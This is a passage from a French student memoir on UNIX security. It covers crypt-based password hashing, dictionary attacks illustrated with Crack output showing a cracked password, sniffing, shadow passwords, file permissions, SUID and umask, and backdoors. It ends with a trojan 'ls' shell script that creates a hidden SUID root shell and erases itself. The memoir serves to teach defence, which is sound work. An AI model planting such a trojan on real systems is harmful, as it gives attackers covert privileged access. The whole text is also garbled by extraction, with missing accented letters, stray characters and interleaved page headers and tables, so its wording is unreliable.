e e e suppose que la personne au bout du clavier est bien autoris e ouvrir une session e a de travail. Ce m canisme n'est plus satisfaisant aujourd'hui pour bien des raisons que e nous d taillerons plus loin dans ce chapitre. e

3.1.2 Principe de cryptage

Le cryptage du mot de passe est r alis par appel de la fonction crypt. e e

Cette fonction dont le prototype gure ci-dessous, prend en entr e une cha^ne e
de caract res contenant le mot de passe en clair key et une seconde cha^ne de e
deux caract res contenant un sel salt. Elle renvoie une cha^ne contenant le mot e
de passe crypt qui correspond aux entr es. e e char * cryptconst char *key, const char *salt; La cha^ne key est utilis e comme cl de cryptage pour coder suivant l'algo
e e 1 un bloc de 0 de 64 bits. Le r sultat est alors nouveau cod avec rithme DES e a e la m^me cl et ainsi de suite. A la n de l'algorithme on obtient une cha^ne de e e
64 bits, r sultat de 25 codages successifs, qui est stock e sous la forme de 11 e e caract res imprimables 2 . e Mais cela n'est pas su sant. En e et, deux utilisateurs auraient alors pu se rendre compte par hasard qu'ils avaient le m^me mot de passe en comparant e simplement les deux entr es du chier passwd. e Morris et Thompson ajout rent alors ce qu'ils appel rent un sel. Les deux e e caract res contenus dans la cha^ne salt ont en e et la propri t de changer le e
ee r sultat de la fonction crypt pour une m^me valeur de key. Le sel avec lequel e e le mot de passe est assaisonn , est choisi parmi les 4096 valeurs possibles en e fonction de l'heure laquelle l'utilisateur change son mot de passe. Il y a donc a une probabilit in me pour que deux personnes se retrouvent avec le m^me mot e e de passe crypt . e Ce sel est stock dans les deux premiers caract res de la cha^ne contenant le e e
mot de passe crypt qui gure dans le chier passwd. Cette cha^ne comporte donc e
au total 13 caract res. e
1 Cf. l'excellent chapitre de 7 sur les diverses m thodes de codage. e 2 Chacun de ces caract res comporte 6 bits du r sultat, repr sent s comme l'un des 64 e e e e l ments de l'ensemble f'.', ' ', '0', ... , '9', 'A', ... , 'Z', 'a', ... , 'z'g . ee
: :

3.2. LES DANGERS RELATIFS AUX MOTS DE PASSE

25

A l' poque o UNIX fonctionnait sur des processeurs PDP-11, cette m thode e u e prenait environ une seconde pour coder un mot de passe. Il faut reconna^tre que cet algorithme a particuli rement bien r sist jusqu'
e e e a maintenant. Depuis une vingtaine d'ann es que la fonction crypt 3 est utilis e, il e e n'y a toujours pas de m thode connue pour obtenir la cha^ne d'origine a partir de e
la cha^ne cod e.
e Malheureusement, un autre type d'attaque a t rendu possible par l' volution ee e de la puissance et de la capacit de stockage des ordinateurs. e

3.2.1 Les attaques de type dictionnaire"

3.2 Les dangers relatifs aux mots de passe
Il est a l'heure actuelle tout fait possible de passer sur un chier de mots de a passe certains programmes dont la vocation est de deviner leur valeur. L'un de ces programmes est le fameux Crack qui a t conu pour que les ee c administateurs syst mes soit au moins aussi bien quip s que les crackeurs" en e e e la mati re. e

Crack 4 est capable de deviner le mot de passe d'un utilisateur en se basant sur les combinaisons de lettres et de chi res de son nom de login, de son nom et de mots des dictionnaires qu'on veut bien lui fournir. Il est particuli rement e cace e dans la majorit des cas, car rares sont les personnes qui prennent la peine de e choisir un mot de passe di cile a deviner. Ci-dessous gure un exemple de sortie du programme Crack.
Crack 4.1f RELEASE, The Password Cracker c Alec D.E. Muffett Sorting data for Crack. Jun 19 10:18:13 User nobody has a locked password:- * Jun 19 10:18:13 User ftp has a locked password:- * Jun 19 10:18:13 User news has a locked password:- * Running program in foreground Jun 19 10:18:14 Loading Data, host=hercule pid=1061 Jun 19 10:18:14 Loaded 7 password entries with 7 salts: 100 Jun 19 10:18:14 Loaded 240 rules from 'Scripts dicts.rules'. Jun 19 10:18:14 Loaded 74 rules from 'Scripts gecos.rules'. Jun 19 10:18:14 Starting pass 1 - password information

3 Et que ses sources sont disponibles. 4 Cf. A pour plus de d tails sur Crack. e
: :

26
Jun Jun Jun Jun Jun Jun Jun Jun 19 19 19 19 19 19 19 19

CHAPITRE 3. L'EPINEUX PROBLEME DES MOTS DE PASSE
10:18:15 10:18:15 10:18:15 10:18:20 10:18:21 10:19:45 10:22:03 10:22:03 FeedBack: 0 users done, 7 users left to crack. Starting pass 2 - dictionary words Applying rule '!?Al' to file 'Dicts GrosDico' Rejected 72841 words on loading, 82390 words left Sort discarded 475 words; FINAL DICT SIZE: 81915 Guessed manu grenoble LcJDte5nrHyO2 Closing feedback file. FeedBack: 1 users done, 6 users left to crack.

Des variations sur le th me sont possibles. Crack part d'un dictionnaire de e mots en clair et code toute cha^ne qu'il veut essayer puis la compare avec les
entr es de etc passwd. Le temps d'ex cution peut donc ^tre consid rable. Mais e e e e avec un bon PC, ce n'est maintenant plus qu'une a aire de jours. Or, rare sont les gens qui changent de mot de passe toutes les semaines ... Il est galement faisable de construire un dictionnaire de cha^nes cod es. Si la e
e production de ce dernier est tr s longue, une simple recherche l'int rieur su t e a e ensuite trouver la cha^ne d'origine. Evidemment le sel de Morris et Thompson a
fait que pour 100 000 mots en clair, le dictionnaire contiendra 409 600 000 5 entr es cod es. Si l'on gagne en temps, on a en revanche besoin de beaucoup de e e place pour stocker tout cela. Mais c'est aujourd'hui parfaitement envisageable. Nous voquons au 3.2.3 quelques moyens pour essayer de tenir en chec les e e attaques dictionnaire".

Certains peuvent, au cours d'un voyage ou tout simplement parce qu'ils ont deux bureaux, avoir acc der via Internet un ordinateur distant. On utilise a e a habituellement pour cela les commandes rlogin ou telnet d'UNIX. Imaginez alors que quelqu'un place un ordinateur quelque part sur le r seau e entre l o vous ^tes et le serveur auquel vous souhaitez acc der. Il su t alors a u e e a l'indiscret de lire tous les paquets IP qui passent port e de sa carte r seau pour a e e conna^tre non seulement votre nom de login, mais galement votre mot de passe
e en clair. Ne croyez pas que ce type d'incident soit rare. Des programmes faciles a mettre en uvre permettent de capturer tout ou partie des paquets IP transitant via une interface r seau. Il existe maintenant des portables qui sont de vrais e
5 Remarquons ici que le sel tant choisi en fonction de l'heure o le mot de passe est e u chang , certaines valeurs sont nettement plus probables que d'autres. C'est tr s dommage ! e e
:

3.2.2 Les ordinateurs reni eurs

3.2. LES DANGERS RELATIFS AUX MOTS DE PASSE
petites merveilles des prix tr s encourageants. a e

27

Qui plus est, la plupart des c^bles constituant le r seau de bien des universit s a e e sont facilement accessibles : il su t souvent de soulever une plaque d' go^t. A ce e u compte l , les journ es des reni eurs deviennent rapidement rentables. a e Heureusement l aussi des parades, h las encore trop peu utilis es, existent. a e e Nous les voquons au 3.2.4. e

3.2.3 Tenir en chec les dictionnaires e
M canisme de shadow password e
La premi re mesure prendre pour prot ger les mots de passe d'un syst me e a e e UNIX est d'adopter un m canisme appel shadow password. e e Avec ce principe, les cha^nes crypt es contenant les mots de passe d'utilisateurs
e et de groupes ne sont plus lisibles par tout un chacun dans les chiers etc passwd et etc group. Elles sont stock es ailleurs, consultables et modi ables seulement e par un certain nombre d'utilisateurs dont root. Un ventuel pirate, ayant un compte sur votre machine et voulant y essayer e son dictionnaire, sera alors oblig de s'a ronter l'invite du login. Les nombreux e a messages d'avertissements enregistr s par le syst me, dont un exemple gure cie e dessous, ne manqueront pas dans ce cas de vous alerter.
Jun 19 12:38:24 hercule login: 1 LOGIN FAILURE ON tty5, brn Jun 19 12:38:26 hercule login: 2 LOGIN FAILURES ON tty5, brn Jun 19 12:38:28 hercule login: 3 LOGIN FAILURES ON tty5, brn

Qui plus est, cela lui prendra un temps consid rable si votre commande login e est param tr e pour r pondre de plus en plus lentement chaque chec. Nous e e e a e avons du attendre 5 secondes apr s la troisi me tentative dans l'exemple ci-dessus. e e

Choisir de bons mots de passe

Que vous choisissiez de mettre en place le m canisme voqu au paragraphe e e e pr c dent ou non, il est de toute mani re imp ratif de prendre le temps de choisir ee e e des mots de passe convenables. Combien de syst mes ont-ils t compromis parce que certains utilisateurs e ee avaient tout simplement mis leur nom de login comme mot de passe?

28

CHAPITRE 3. L'EPINEUX PROBLEME DES MOTS DE PASSE

Un mot de passe est comme le verrou qui ferme une porte. C'est de sa qualit e que d pend, en partie 6 , la s curit de votre compte et du syst me sur lequel vous e e e e travaillez. Mais qu'est ce qu'un bon mot de passe nalement?

Un bon mot de passe est un mot de passe di cile deviner ! a
Dans l'encart plus bas, gurent quelques suggestions pour le choix des mots de passe. Beaucoup de conseils peuvent ^tre donn s en la mati re. Nous vous e e e invitons consulter 10 et 3 pour une liste plus compl te. a e Notons que les mots de passe sont un excellent exemple de la n cessit d'implie e quer l'ensemble des utilisateurs dans la s curit . cf. 1.2.1. Rappelons qu'un seul e e mot de passe devin peut su re compromettre l'ensemble d'un syst me. Des e a e outils existent pour am liorer et contr^ler la qualit de vos mots de passe. e o e

Un bon mot de passe : contient des lettres majuscules et minuscules, des chi res et des caract res e de ponctuation ; comporte au moins sept caract res ; e est facile a retenir ; tous les moyens mn motechniques sont bons ; e ne doit ^tre susceptible d'^tre adopt par quelqu'un d'autre que vous. e e e Sont donc a viter : e tout nom ou pr nom ; e tout lieu ; tout mot gurant dans un dictionnaire de quelque langue que ce soit ; tout mot concernant l'informatique comme UNIX, wizard, gourou, ... tout mot repr sentant une information qui vous est relative num ro de e e t l phone, adresse, plaque min ralogique, date particuli re ... ee e e tout mot rentrant dans l'une des cat gories pr c dentes crit l'envers ou e ee e a combin avec un chi re. e
6 Fermer la porte ne sert rien si on laisse la fen^tre ouverte. a e
:

Choix d'un mot de passe

3.2. LES DANGERS RELATIFS AUX MOTS DE PASSE

29

Soulignons encore qu'il est videmment risqu d'employer un m^me mot de e e e passe pour plusieurs comptes sur di rentes machines. e Garder un mot de passe pendant une trop longue p riode accro^t de mani re e
e certaine le risque. Prenons l'habitude d'en changer r guli rement. e e En n, noter son mot de passe est galement imprudent. e

Pratiques risque a

3.2.4 Tenir en chec les reni eurs e
Le premier type de protection que l'on peut utiliser repose sur des m thodes e de cryptage. Il existe en e et des outils comme Kerberos et DCE qui permettent d'assurer travers Internet des liaisons s^res. a u Une des contraintes est que, pour pouvoir utiliser ces liaisons s^res, il faut que u les deux ordinateurs chaque bout du c^ble soient quip s de mani re ad quate. a a e e e e Or l'emploi des outils cit s ci-dessus est loin d'^tre g n ralis . e e ee e En France, viennent s'ajouter les probl mes li s aux lois particuli res en vie e e gueur sur le codage. Pour ces raisons, nous ne d velopperons pas plus avant ces e m thodes. Veuillez consulter l'excellent serveur de 3 qui pourra vous renseigner e sur les aspects l gislatifs, ainsi que 7 qui d crit les techniques existantes. e e Les mots de passe jetables One time passwords sont une alternative astucieuse au codage. Plusieurs syst mes sont disponibles. e que cette liste soit conserv e dans un endroit s^r. e u Le premier d'entre eux consiste a con er l'utilisateur une liste de mots de a passe qu'il coche au fur et mesure qu'il les emploie. Cela suppose videmment a e

Coder ...

Les mots de passe jetables

Dans le second syst me, l'utilisateur a en sa possession une carte avec cran e e a cristaux liquides. Deux variantes existent. Dans la premi re, le mot de passe est form d'un code utilisateur ne chane e geant pas et d'un nombre a ch sur l' cran de la carte qui, lui, varie toutes e e les minutes par exemple, la carte tant synchronis e avec l'ordinateur. e e Dans la seconde, l'ordinateur fournit un nombre que l'utilisateur doit taper sur le clavier de sa carte. Cette derni re r pond par un code qui est le mot e e de passe.

30

CHAPITRE 3. L'EPINEUX PROBLEME DES MOTS DE PASSE

Dans tous les cas, reni er les paquets IP qui passent sur le r seau ne peut e plus servir voler des mots de passe. Mais qu'en est-il du reste des donn es qui a e circulent?

31

Chapitre 4 Le syst me de chiers UNIX e
4.1 Introduction
Le syst me de chiers est charg sous UNIX non seulement d'assurer le e e stockage et l'acc s aux donn es qui peuvent se trouver sur divers supports, mais e e galement du contr^le de la s curit de ces donn es. e o e e e Ainsi, un m canisme de permission relativement complexe est mis en uvre e pour v ri er que chacun a bien le droit de lire, de modi er ou d'ex cuter ce qu'il e e demande. L'approche d'UNIX pour ce qui est de l'organisation des donn es est classique : e il s'agit d'une arborescence de r pertoires pouvant chacun contenir des chiers, des e liens ou d'autres r pertoires. e

4.1.1 Fichiers et noeuds
Toutes les informations concernant un chier, l'exception de son nom sont a stock es dans un noeud inode. Ainsi, on peut y trouver le propri taire, le e e groupe, les permissions et le type du noeud par exemple chier, r pertoire, lien e symbolique .... Les noms de chiers sont stock s quant eux dans les r pertoires o ils sont e a e u associ s un num ro de noeud. Les r pertoires sont des chiers particuliers que e a e e seul le syst me peut modi er. e Sous UNIX, un m^me chier peut donc porter plusieurs noms di rents. Rien e e n'emp^che en e et qu'un m^me noeud soit r f renc plus d'une fois. e e ee e

32

CHAPITRE 4. LE SYSTEME DE FICHIERS UNIX
On n'e ace donc pas de chier : on supprime simplement un lien vers un noeud.

Associ chaque noeud, se trouve un compteur de r f rences. A chaque e a ee cr ation de lien vers un noeud le compteur de ce noeud est incr ment ; chaque e e e a destruction de lien, il est d cr ment . Lorsque le compteur arrive 0, le noeud e e e a est consid r comme vide. Il peut ^tre utilis pour d'autres donn es. ee e e e Nous arr^terons l notre description. Pour plus de d tails, veuillez s'il vous e a e pla^t consulter le chapitre 5 de 7 qui couvre toutes ces questions.

4.1.2 La commande ls
bash$ls -l drwxr-xr-x -rw-r--r--rw-r--r--rw-r--r--rw-r--r--rw-r--r--rw-r-----

La commande ls permet de visualiser certains attributs des chiers. Ci-dessous gure un exemple de r sultat d'ex cution de cette commande. e e
2 1 1 1 1 1 1 brn brn brn brn brn brn brn users users users users users users users 1024 15516 11754 17201 1643 2888 3039 Jun Jun Jun Jun Jun Jun Jun 19 19 19 19 19 18 19 16:32 12:21 12:52 15:31 15:49 22:11 15:50 Perso chapitre1.tex chapitre2.tex chapitre3.tex chapitre4.tex intro.tex securite.tex

Consid rons `securite.tex'. On peut d duire de l'a chage les donn es suie e e vantes. il s'agit d'un chier comme l'indique le premier signe `-' `Perso' est en revanche un r pertoire comme l'indique le caract re `d' ; e e il a les permissions `rw-r-----' ; le nombre `1' indique ensuite que le noeud contenant les donn es n'est e r f renc que sous le nom `securite.tex' ; ee e il appartient l'utilisateur `brn' et au groupe `users' ; a il contient `3039' octets et a t modi pour la derni re fois la date `Jun ee e e a 19 15:50'.

4.2 Les permissions
Les permissions sont s par es en trois groupes distincts de trois lettres chacun. e e On peut en e et sp ci er ind pendamment les droits d'acc s a un noeud pour son e e e

4.2. LES PERMISSIONS
propri taire user, son groupe group et le reste des utilisateurs others. e

33

Chaque groupe de permission sp ci e si les trois droits `r', `w' et `x' sont e donn s. Si la lettre gure, le droit est accord , sinon, elle est remplac e par un e e e signe `-'. Reprenons l'exemple de `securite.tex' dont les permissions sont `rw-r-----'. Cela signi e simplement que les droits d'acc s sont : e
`rw-' `r--' `---'

pour son propri taire user, e pour son groupe group, pour les autres utilisateurs others.

Les utilisateurs, autres que le propri taire et les membres du groupe, n'ont e donc aucun droit sur `securite.tex' tandis que le propri taire a les droits e `r',`w' mais pas `x'. Les droits voqu s ci-dessus ne sont pas interpr t s de la m^me mani re suivant e e ee e e la nature du noeud : il faut distinguer leur signi cation dans le cas de chiers et dans le cas de r pertoires. e

4.2.1 Permissions de chier
Notons que les permissions s'interpr tent de la m^me faon pour les devices, e e c sockets et FIFO. Il s'agit l de types de chiers particuliers servant g rer l'acc s la m moire, a a e e a e aux disques de stockage et beaucoup d'autres choses. Nous n'en parlerons pas a plus dans ce m moire, faute de temps. e Il ne faut pourtant pas n gliger la gestion des permissions de ces types de e noeuds : certains d'entre eux permettent d'acc der directement au noyau du e syst me en m moire. Nous vous recommandons donc de lire les chapitres de 7 e e traitant du sujet. Le tableau ci-dessous donne la signi cation des trois types de droit pour les chiers.

34

CHAPITRE 4. LE SYSTEME DE FICHIERS UNIX

r

Caract re Droit e

lecture

Signi cation

w

criture e

x

ex cution e

Droit d'ouvrir le chier en lecture et d'en lire le contenu Droit de modi er le chier. On peut alors ouvrir le chier en criture, y inscrire des donn es, en e e e acer. M^me si l'on peut r duire le chier e e a une longueur nulle, on ne peut pas pour autant le supprimer. Ce droit n'est utilis que pour les chiers ex cue e tables. Il signi e que l'on a le droit d'ex cuter ce e chier. Les chiers ex cutables peuvent ^tre des e e scripts en langage shell ou des chiers binaires.

7 fait juste titre remarquer qu'il n'est pas n cessaire d'avoir le droit de a e lecture pour pouvoir ex cuter un chier. Le droit d'ex cution su t. e e Cependant, pour les scripts en langage shell, certains syst mes exigent e galement le droit de lecture. C'est le cas de Linux par exemple. e En n, pr cisons que les permissions des liens symboliques ne sont absolument e pas signi catives. En e et, ce sont les droits du chier vers lequel pointent ces liens qui d terminent alors l'acc s aux donn es. e e e

4.2.2 Permissions de r pertoires e
Les r pertoires sont implant s sous UNIX par des chiers particuliers que e e seul le syst me peut modi er. Comme les r pertoires sont des chiers, ils ont e e galement des permissions. e Cependant, la gestion des r pertoires tant sp ci que, les permissions ne sont e e e pas interpr t es de la m^me mani re pour eux. ee e e Le tableau ci-dessous explique la signi cation des di rents droits dans ce cas. e

4.2. LES PERMISSIONS

35

r

Caract re Droit e

lecture

w x

criture e ex cution e

Droit de lire les noms des chiers y compris les sous-r pertoires du r pertoire. e e Droit de cr er, renommer ou supprimer les e chiers y compris les sous-r pertoires du e r pertoire. e Droit de d terminer les propri taires, groupes, e e longueurs dates de modi cation ... des chiers y compris les sous-r pertoires du r pertoire. e e Ce droit est requis pour pouvoir faire d'un r e pertoire son r pertoire courant, ou pour ouvrir e un chier se trouvant dans le r pertoire ou un e de ses sous-r pertoires. e

Signi cation

Il est important de bien comprendre les implications qu'une mauvaise gestion des droits des r pertoires peut avoir en mati re de s curit . Les quelques remarques e e e e suivantes sont susceptibles de vous y aider. 1. Si on n'a pas le droit d'ex cution sur un r pertoire, on ne peut acc der e e e a aucun des chiers qui s'y trouvent m^me s'ils nous appartiennent. e 2. Pour e acer un chier, c'est dire supprimer du r pertoire l'entr e qui a e e associe le nom au noeud contenant les donn es, seuls les droits d' criture e e et d'ex cution sur ce r pertoire sont requis quels que soient les droits e e du chier ! Cette phrase vaut la peine d'^tre assimil e. e e 3. En ayant le droit d'ex cution mais pas de lecture sur un r pertoire, on ne e e peut pas lister son contenu. Cependant, il reste possible d'acc der aux chiers e du r pertoire si on conna^t leur nom. Certains sites utilisent cette technique e
pour cr er des chiers secrets. e

4.2.3 SUID, SGID et sticky bit
Quelquefois, des utilisateurs ordinaires doivent pouvoir accomplir des t^ches a qui n cessitent certains privil ges. e e C'est le cas par exemple quand on veut changer son mot de passe. Il faut alors aller changer le champ correspondant du chier etc passwd qu'un utilisateur ordinaire n'a pas le droit de modi er heureusement !.

Programmes SUID et SGID

36

CHAPITRE 4. LE SYSTEME DE FICHIERS UNIX

UNIX r soud le probl me par une gestion particuli re des UID ou GID des e e e processus. En e et, il est possible qu'un programme utilise un autre UID ou et GID que celui de l'uilisateur qui l'ex cute. e Le syst me distingue pour cela les UID et GID r els et les UID et ou GID e e e ectifs. Les UID et GID r els d'un processus correspondent ceux de l'utilisateur e a qui l'ex cute. e Les UID et GID e ectifs correpondent en g n ral ceux de l'utilisateur qui ee a l'ex cute. Cependant, il est possible de faire que ces UID et ou GID e ectifs e correspondent respectivement ceux du propri taire et du groupe du chier a e contenant le programme. Un programme qui change son UID e ectif est appel un programme SUID ; e de m^me, un programme qui change son GID e ectif est appel un programme e e SGID. Un programme peut ^tre simultan ment SUID et SGID. e e

Sticky bit
Le m canisme de sticky bit est aujourd'hui obsol te en ce qui concerne les e e chiers. Il a t h rit d'une poque lointaine o UNIX fonctionnait sur des ee e e e u ordinateurs avec peu de m moire vive. e Il conserve en revanche une signi cation pour les r pertoires cf. plus bas. e

R capitulatif pour les chiers e
Pour marquer qu'un programme est SUID, le caract re `x' des permissions e concernant le propri taire du chier est remplac par un `s'. e e Pour marquer qu'un programme est SGID, le caract re e concernant le groupe du chier est remplac par un `s'. e
`x'

des permissions

Pour marquer qu'un programme a l'attribut sticky bit, le caract re `x' des e permissions concernant les autres utilisateurs du chier est remplac par un `t'. e Le tableau ci-dessous r sume la signi cation des droits SUID, SGID et de e l'attribut sticky bit pour les chiers.

4.2. LES PERMISSIONS

37

Caract re Droit e
--s------

SUID

-----s---

SGID

--------t

sticky bit

Un processus ex cutant un programme SUID a e son UID e ectif gal celui du propri taire du e a e programme. Un processus ex cutant un programme SGID e a son GID e ectif gal celui du groupe du e a programme. Les chiers cr s par ce processus ee peuvent galement ^tre cr s comme appartee e ee nant au groupe r f renc par ce GID sous ceree e taines conditions concernant les droits du r pere toire o ces chiers sont cr s. u ee Obsol te pour les chiers. Voir plus bas pour les e r pertoires. e

Signi cation

Dans chacun des cas ci-dessus, les lettres `s' ou `t' peuvent respectivement ^tre remplac es par les lettres `S' et `T' si les droits `x' correspondants ne sont e e pas accord s. Nous reviendrons dans le chapitre suivant sur les probl mes que e e posent ces m canismes pour la s curit . Certains d'entre eux peuvent en e et ^tre e e e e utilis s a des ns bien peu louables. e

SGID

et Sticky bit pour les r pertoires e

Ces deux bits ont une signi cation particuli re en ce qui concerne les r pere e toires. Le tableau ci-dessous l'explique.

Droit
SGID

Sticky bit

Si le bit SGID d'un r pertoire est positionn , les e e chiers qui y sont cr s par un processus de m^me ee e groupe que le r pertoire, sont galement de ce groupe. e e Si l'une des deux conditions pr c dentes n'est pas remee plie, les chers cr s sont du m^me groupe que le GID ee e e ectif du processus cr ateur. e Les chiers contenus dans un r pertoire dont le sticky e bit est positionn , peuvent ^tre renomm s ou e ac s e e e e uniquement par leur propri taire, le propri taire du e e r pertoire ou le super-utilisateur. Cette caract ristique e e est utilis e en particulier pour le r pertoire tmp. e e

Signi cation

38

4.3 Deux commandes utiles
4.3.1 La commande chmod

CHAPITRE 4. LE SYSTEME DE FICHIERS UNIX

Cette commande vous permet de changer les permissions des chiers dont vous ^tes propri taire. Sa syntaxe est d crite dans la page de manuel correspondante. e e e Rappelons ici que les pros" d'UNIX aiment parfois exprimer les permissions sous forme d'un nombre en octal. Le tableau ci-dessous vous donne la cl de ces e chi res magiques.

Valeur
4000 2000 1000 400 200 100

Droit

SUID SGID Sticky bit Lecture pour le propri taire e Ecriture pour le propri taire e Ex cution pour le propri taire e e

Valeur
40 20 10 4 2 1

Droit

Lecture pour le groupe Ecriture pour le groupe Ex cution pour le groupe e Lecture pour les autres Ecriture pour les autres Ex cution pour les autres e

`rw-r--r--' vaut donc en octal 400 + 200 + 40 + 4 = 644. Il n'y a pas de doute, il faut vraiment faire des e orts pour s'y habituer.

Cette commande vous permet de sp ci er quelles seront les permissions par e d faut des chiers que vous cr erez. Elle est donc tr s utile car elle vous donne le e e e moyen de choisir une bonne fois pour toute la politique que vous voulez suivre. Elle est la plupart du temps int gr e dans le shell que vous utilisez. Suivant e e les cas, vous pourrez alors ajouter dans votre .login, .pro le ou .tcshrc une ligne comme :
umask nombre

4.3.2 La commande umask

o `nombre' est, malheureusement, un nombre en octal r sultat d'un assez savant u e calcul. Qui plus est, cette commande est souvent assez mal document e dans les e pages de manuel. UNIX cr e en e et les chiers non ex cutables avec un mode 666 e e `rw-rw-rw-' par d faut. Lorsque vous sp ci ez une valeur de umask, le e e syst me enl ve les droits sp ci s par ce umask au mode 666 pour d terminer les e e e e e permissions par d faut des chiers que vous allez cr er. e e

4.4. SUPPRIMER LES FICHIERS BIZARRES"

39

Comme nous sommes charitables, voici quelques exemples. Un umask de 022 `----w--w-' donne des permissions par d faut de : e `rw-rw-rw-' - `----w--w-' soit `rw-r--r--' en octal 644 pour les chiers non ex cutables et `rwxr-xr-x' en octal 711 pour les autres. C'est e une valeur que l'on rencontre souvent dans les syst mes o les utilisateurs e u n'ont rien cacher. a Cela revient a autoriser la lecture et l'ex cution de ce qui n'est pas explici e tement interdit. Un umask de 077 `---rwxrwx' donne des permissions par d faut de : e `rw-rw-rw-' - `---rwxrwx' soit `rw-------' en octal 600 pour les chiers non ex cutables et `rwx------' en octal 700 pour les autres. C'est e une valeur que l'on rencontre souvent dans les syst mes o les utilisateurs e u sont plus prudents. Cela revient interdire l'acc s tout ce qui n'est pas explicitement autoris . a e a e

4.4 Supprimer les chiers

bizarres"

J'avoue que j'ai crit ce paragraphe en ayant une pens e mue pour notre cher e e e professeur de syst me Serge Rouveyrol. Certes, il n'est pas li directement au e e th me de ce m moire. Mais, ces petites astuces dont nous parlons plus bas sont e e tellement utiles. Rares sont les gens qui travaillent sous UNIX chez eux. Dans notre promotion d'ann e sp ciale, aucun de nous ne connaissait donc particuli rement ce syst me e e e e avant de s'y frotter pour notre plus grand bonheur. Une des premi res questions qui assaillent les professeurs en d but d'ann e est e e e donc : Dites, j'ai un chier bizarre l et je n'arrive pas l'e acer. Vous pouvez a a m'aider s'il vous pla^t?
Tiens le coup Serge, ce paragraphe te d chargera, j'esp re, d'une petite partie e e du ot d'interrogations qui ne manqueront pas de te tomber dessus l'an prochain. Voici donc quelques trucs qui servent un jour ou l'autre. 1. Pour e acer un chier dont le nom commence par un caract re `-', il su t e d'utiliser la commande rm de la mani re suivante : e
bash$ rm . -ce_fichier_m'agace bash$

40

CHAPITRE 4. LE SYSTEME DE FICHIERS UNIX
2. Pour d couvrir des chiers comportant des caract res non imprimables dans e e leur nom, utilisez l'option `-q' de la commande ls. Consultez ce sujet la a page de manuel de ls. 3. Pour supprimer des chiers comportant des caract res non imprimables dans e leur nom, utilisez la commande rm de la mani re suivante : e
bash$ rm -i * rm: remove `chapitre1.tex'? n rm: remove `Le_voila!'? y bash$

4.5 Conclusion
Le syst me de chier d'UNIX est un outil de s curit puissant. Il est capital e e e de comprendre son fonctionnement pour pouvoir d fendre vos donn es. e e Nous esp rons vous y avoir aid dans ce chapitre. e e

41

Chapitre 5 Les menaces programm es e
Les ordinateurs sont faits pour ex cuter des programmes. A l'heure actuelle, e les programmes que l'on rencontre sur un syst me sont bien souvent d'origines tr s e e diverses. Il y bien s^r les programmes du syst me d'exploitation fournis par le u e constructeur de l'ordinateur ce n'est pas toujours le cas ; certains syst mes e gratuits sont distribu s sur Internet. e On compte galement tous les programmes plus ou moins utilitaires que l'on e a ramen de l'ext rieur sites FTP .... e e Les utilisateurs produisent aussi des programmes parce qu'ils en ont besoin le plus souvent, mais aussi pour jouer des tours pendables leurs coll gues. a e Heureusement, la grande majorit des concepteurs des utilitaires les plus e r pandus sont altruistes dans l'^me. Leur but n'est videmment pas de nuire. e a e Certaines personnes sont pourtant en mesure de faire circuler sur Internet des versions modi es de ces programmes comportant des portes d rob es. Une fois e e e ceux-ci install s sur votre ordinateur, il leur su t d'activer les fonctions secr tes e e pour avoir acc s votre syst me. e a e Comment dans cette jungle ^tre s^r de ne pas se faire pi ger un jour ou l'autre e u e par une personne mal intentionn e? e Nous vous proposons dans la premi re partie de ce chapitre d'identi er d'abord e clairement les menaces. Quelques conseils simples suivent ensuite, qui peuvent contribuer limiter la casse. Le lecteur pourra galement consulter 7 dont la a e majorit des propos que nous tenons ici est extraite. e

42

5.1 Classement des menaces
5.1.1 Les outils de s curit e e

CHAPITRE 5. LES MENACES PROGRAMMEES

Les outils de s curit sont tr s utiles aux administrateurs de syst mes UNIX. e e e e En e et, l'ensemble des param tres de con guration d'UNIX est tellement tendu e e que le besoin d'outils adapt s se fait sentir. e Malheureusement, ces outils sont galement utilisables par les pirates qui e recherchent des failles dans les syst mes qu'ils essayent de p n trer. e ee Utiliser les outils de s curit qui existent n'est donc plus optionnel mais oblie e gatoire si l'on veut ^tre au moins aussi bien inform que ces pirates sur les d fauts e e e de la cuirasse du syst me dont on est charg . e e Une pr sentation des outils d'aide l'administration gure en A. Nous vous e a encourageons vivement la consulter. Vous y trouverez les noms, fonctions et a lieu o sont disponibles les kits les plus r pandus. Quelques exemples de r sultat u e e d'ex cution y sont galement. e e

5.1.2 Les portes d rob es e e

Les portes d rob es sont une menace redoutable. e e

Elles sont le plus souvent incluses dans le code de certains programmes dans le but de les mettre au point si le besoin s'en fait sentir. C' tait par exemple le cas e du mode debug de sendmail 1 Ces fonctions cach es ne deviennent de v ritables e e menaces que lorsque des individus peu scrupuleux les d couvrent et en font un e usage dangereux. Elles peuvent ^tre galement utilis es apr s une attaque r ussie contre un syse e e e e t me. Le pirate se garde ainsi un ou plusieurs moyens d'y p n trer par la suite tr s e ee e facilement. Il a plusieurs m thodes pour cela a sa disposition: e modi er un chier .rhosts d'un utilisateur ou du super-utilisateur; installer une version modi e de telnetd ou d'un autre d mon lui donnant e e acc s au syst me lorsqu'une certaine combinaison de touches est frapp e ; e e e changer les permissions de dev kmem ou d'un autre device pour pouvoir y acc der tout en n' tant pas root ; e e laisser trainer un shell SUID root...
1 Ce mode a t exploit par le vers d'Internet que Jean-Rossel Millet et Fr d ric Vu ee e e e d crivent dans leur m moire cf. 5 . e e
:

5.1. CLASSEMENT DES MENACES

43

A titre d'exemple, voici comment on peut voler le mot de passe d'un administateur syst me imprudent apr s s'^tre construit une porte d rob e. Cet e e e e e exemple est extrait de 7 et illustre parfaitement les dangers du m canisme de e SUID implant sous UNIX. e Imaginez que pascal soit administateur syst me. L'imprudent a mis en d but e e de son PATH le r pertoire courant .. Un tudiant malicieux l'a remarqu car e e e en plus pascal donne acc s en lecture tout le monde ses chiers .pro le et e a a d cide de lui tendre un pi ge. e e Pour cela il cr e le script ci-dessous : e 
! bin sh   Ce fichier est un piege. Il s'appelle 'ls' et va me permettre  de berner un administateur imprudent.   Copier un shell et le rendre SUID c'est ca la porte cp bin sh .toto chmod 4555 .toto  Effacer ce script rm -f $0  Executer ls comme si de rien n'etait. exec bin ls $ 1+"$@"

